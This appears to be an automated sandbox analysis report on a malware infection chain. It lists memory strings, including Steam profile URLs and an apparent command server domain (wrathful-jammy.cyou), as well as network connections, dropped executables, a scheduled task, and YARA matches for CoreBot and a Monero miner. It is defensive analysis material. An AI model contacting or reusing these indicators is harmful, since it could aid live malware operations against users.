Source: c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.0000000000972000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.0000000000973000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995347996.0000000000974000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.000000000093B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2994959784.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.0000000000972000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.0000000000973000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995347996.0000000000974000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.000000000093B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.000000000093B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.sda
Source: c1be3b2878.exe, 0000000C.00000002.2995347996.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.ste
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: c1be3b2878.exe, 0000000C.00000002.2995347996.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb
Source: c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.000000000093B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.0000000000972000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.0000000000973000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995347996.0000000000974000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wrathful-jammy.cyou/
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.0000000000972000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.0000000000973000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995347996.0000000000974000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wrathful-jammy.cyou/api
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.0000000000972000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.0000000000973000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995347996.0000000000974000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wrathful-jammy.cyou/e
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: c1be3b2878.exe, 0000000C.00000002.2995347996.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/re
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995481299.00000000009DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/e
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979

Source: unknown	HTTPS traffic detected: 178.62.201.34:443 -> 192.168.2.5:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.131.68.180:443 -> 192.168.2.5:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.121.10.34:443 -> 192.168.2.5:49883 version: TLS 1.2

Source: 2ab65296fe.exe, 00000007.00000003.2791780188.0000000005180000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_3e8d1254-8

Source: 2ab65296fe.exe, 00000007.00000003.2791780188.0000000005180000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_77b70adc-f

Source: Yara match	File source: 8.3.svchost.exe.5640000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.svchost.exe.5640000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.svchost.exe.5640000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.2ab65296fe.exe.5180000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.svchost.exe.5860000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.svchost.exe.5860000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.2ab65296fe.exe.4f60000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000003.2795119500.0000000005860000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2794892973.0000000005640000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2791591127.0000000004F60000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2791780188.0000000005180000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2ab65296fe.exe PID: 2436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 5560, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 40.2.716b31b09e.exe.940000.0.unpack, type: UNPACKEDPE	Matched rule: Detects CoreBot Author: ditekSHen
Source: 35.3.Intel_PTT_EK_Recertification.exe.1a359520000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 35.3.Intel_PTT_EK_Recertification.exe.1a359520000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 35.3.Intel_PTT_EK_Recertification.exe.1a359520000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 35.3.Intel_PTT_EK_Recertification.exe.1a359520000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 36.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 36.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000023.00000003.3056598633.000001A359520000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 00000023.00000003.3056598633.000001A359520000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects coinmining malware Author: ditekSHen

Drops password protected ZIP file

Source: file.bin.13.dr

Zip Entry: encrypted

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: 716b31b09e.exe.6.dr	Static PE information: section name:
Source: 716b31b09e.exe.6.dr	Static PE information: section name: .idata
Source: 716b31b09e.exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: 2c937c98d4.exe.6.dr	Static PE information: section name:
Source: 2c937c98d4.exe.6.dr	Static PE information: section name: .idata
Source: 2c937c98d4.exe.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: 2ab65296fe.exe.6.dr	Static PE information: section name:
Source: 2ab65296fe.exe.6.dr	Static PE information: section name: .idata
Source: 2ab65296fe.exe.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: c1be3b2878.exe.6.dr	Static PE information: section name:
Source: c1be3b2878.exe.6.dr	Static PE information: section name: .idata
Source: c1be3b2878.exe.6.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_001ACB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

6_2_001ACB97

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009378BB	0_2_009378BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00937049	0_2_00937049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00938860	0_2_00938860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009331A8	0_2_009331A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F4B30	0_2_008F4B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A07B6E	0_2_00A07B6E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F4DE0	0_2_008F4DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00932D10	0_2_00932D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0093779B	0_2_0093779B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00927F36	0_2_00927F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001D7049	2_2_001D7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001D8860	2_2_001D8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001D78BB	2_2_001D78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001D31A8	2_2_001D31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00194B30	2_2_00194B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001D2D10	2_2_001D2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00194DE0	2_2_00194DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001C7F36	2_2_001C7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001D779B	2_2_001D779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_001D7049	3_2_001D7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_001D8860	3_2_001D8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_001D78BB	3_2_001D78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_001D31A8	3_2_001D31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00194B30	3_2_00194B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_001D2D10	3_2_001D2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00194DE0	3_2_00194DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_001C7F36	3_2_001C7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_001D779B	3_2_001D779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0019E530	6_2_0019E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001B6192	6_2_001B6192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001D8860	6_2_001D8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00194B30	6_2_00194B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001D2D10	6_2_001D2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00194DE0	6_2_00194DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001B0E13	6_2_001B0E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001D7049	6_2_001D7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001D31A8	6_2_001D31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001B1602	6_2_001B1602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001D779B	6_2_001D779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001D78BB	6_2_001D78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001B3DF1	6_2_001B3DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001C7F36	6_2_001C7F36

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe AF8729A17698880E54E9F23B48E6B68D73672179F58868C201C8CF54D1A578BC

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Process token adjusted: Security

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 009080C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 001AD64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 001A7A00 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 001AD942 appears 87 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 001AD663 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 001ADF80 appears 82 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 001C8E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 001A80C0 appears 393 times

Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2436 -s 672

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 40.2.716b31b09e.exe.940000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoreBot author = ditekSHen, description = Detects CoreBot, snort_sid = 920211-920212
Source: 35.3.Intel_PTT_EK_Recertification.exe.1a359520000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 35.3.Intel_PTT_EK_Recertification.exe.1a359520000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 35.3.Intel_PTT_EK_Recertification.exe.1a359520000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
